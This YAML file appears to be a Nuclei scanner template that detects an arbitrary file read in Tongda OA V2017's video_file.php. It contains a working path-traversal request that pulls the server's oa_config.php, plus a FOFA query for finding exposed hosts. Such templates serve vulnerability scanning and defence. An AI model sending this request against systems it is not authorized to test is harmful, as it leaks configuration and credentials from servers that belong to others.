id: tongda-video-file-read

info:
  name: Tongda OA V2017 Video File - Arbitrary File Read
  author: SleepingBag945
  severity: medium
  description: |
    There is an arbitrary file reading vulnerability in Extreme OA video_file.php. An attacker can obtain sensitive files on the server through the vulnerability.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/通达OA/通达OA%20v2017%20video_file.php%20任意文件下载漏洞.html
  classification:
    cpe: cpe:2.3:a:tongda2000:office_anywhere_2017:*:*:*:*:*:*:*:*
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="1967132225"
    product: office_anywhere_2017
    vendor: tongda2000
  tags: tongda,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "$ROOT_PATH"
          - "$ATTACH_PATH"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e89de150c00cf551dc26905ac5772805dd6946a4e18bfce129c496a503aeff5b022100aabd82f0c792687b80e65c5e3dfdd9438eef41cbdb390908df07c6f48a7c6f0f:922c64590222798bb761d5b6d8e72950